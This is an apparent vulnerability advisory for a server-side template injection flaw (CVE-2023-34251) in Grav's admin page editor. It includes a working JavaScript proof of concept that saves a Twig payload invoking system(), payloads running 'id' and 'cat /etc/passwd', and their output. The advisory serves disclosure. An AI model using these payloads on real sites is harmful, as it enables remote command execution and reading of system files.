CVE-2023-34251
Grav Server Side Template Injection (SSTI) vulnerability
Description
### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen. ### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. ### PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=__unique_form_id__]").value; const payload = "{{['id']|map('system')|join}}"; // SSTI Payload const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][body_classes]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleable_data[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][order_by]", ""); params.append("data[header][order_manual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("_post_entries_save", "edit"); params.append("__form-name__", "flex-pages"); params.append("__unique_form_id__", id); params.append("admin-nonce", nonce); await fetch("http://127.0.0.1:8000/admin/pages/typography", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded", }, body: params, }); window.open("http://127.0.0.1:8000/admin/pages/poc/:preview"); })(); ``` #### Execution Result - Payload: `{{['id']|map('system')|join}}` ```sh uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) ``` - Payload: `{{['cat /etc/passwd']|map('system')|join}}` ```sh ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode.
